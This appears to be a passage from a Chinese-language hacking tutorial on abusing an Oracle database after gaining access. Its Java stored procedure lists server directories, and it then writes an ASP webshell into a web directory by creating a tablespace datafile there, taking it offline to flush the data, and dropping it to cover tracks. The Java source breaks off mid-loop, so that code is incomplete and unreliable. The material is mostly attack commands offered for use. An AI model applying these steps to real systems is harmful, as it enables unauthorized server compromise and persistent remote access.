>最后說,當然這個方法缺點就是你要知道WEB路徑.少費話,直接貼code:create global temporary table BLUEUSER.dirlist(filename varchar2(255),filesize number,filedate date)on commit delete rows;/create or replace and compile java source named DirList asimport java.io.*;import java.sql.*;public class DirList{public static void getList(String directory) throws SQLException{File path=new File(directory);String[] fileList=path.list();String fileName;long fileSize;long fileDate;for (int i=0;i
exec BLUEUSER.p_get_dir_list(‘/tmp’);PL/SQL procedure successfully completedselect * from BLUEUSER.dirlist;select * from BLUEUSER.dirlist where rownum<150;select filename from BLUEUSER.dirlist where rownum<150;select filename from BLUEUSER.dirlist;truncate table BLUEUSER.dirlist; 好啊 要不然是追加.測試環境:oracle 9+redhat——————ORACLE 建立數據文件WriteWebShell———————SQLJ 存儲過程寫文件也可以,逼於無奈對方機器不支持SQLJ 還有 UTL_FILE包也被干掉了?那 也可以 使用以下我說的這個方式SQL> create tablespace kjtest datafile ‘e:/website/kj.asp’ size 100k nologging ;表空間已創建。這里記住了 100K為ORACLE 表空間最小的單位,如果你的一句話SHELL比較大 那可以200K比較穩妥但是最終建議一句話一定要最最簡潔SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;表已創建。一般用 VARCHAR類型已經可以 ,表空間太小了 ,所以不可以 為 CLOB或者 BLOB類型。SQL> insert into WEBSHELL values(‘’);已創建 1 行。SQL> commit;提交完成。提交完成之后就 OK? NO~ 因為數據還沒有被 DBWn 進程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE當前表空間SQL> alter tablespace kjtest offline;表空間已更改。到這里 你的 一句話SHELL代碼已經 寫到 那個文件了你會發現有這樣的 的 代碼一句話shell已經OK了最后使用后記得吧 表空間刪除SQL> drop tablespace kjtest including contents;表空間已刪除。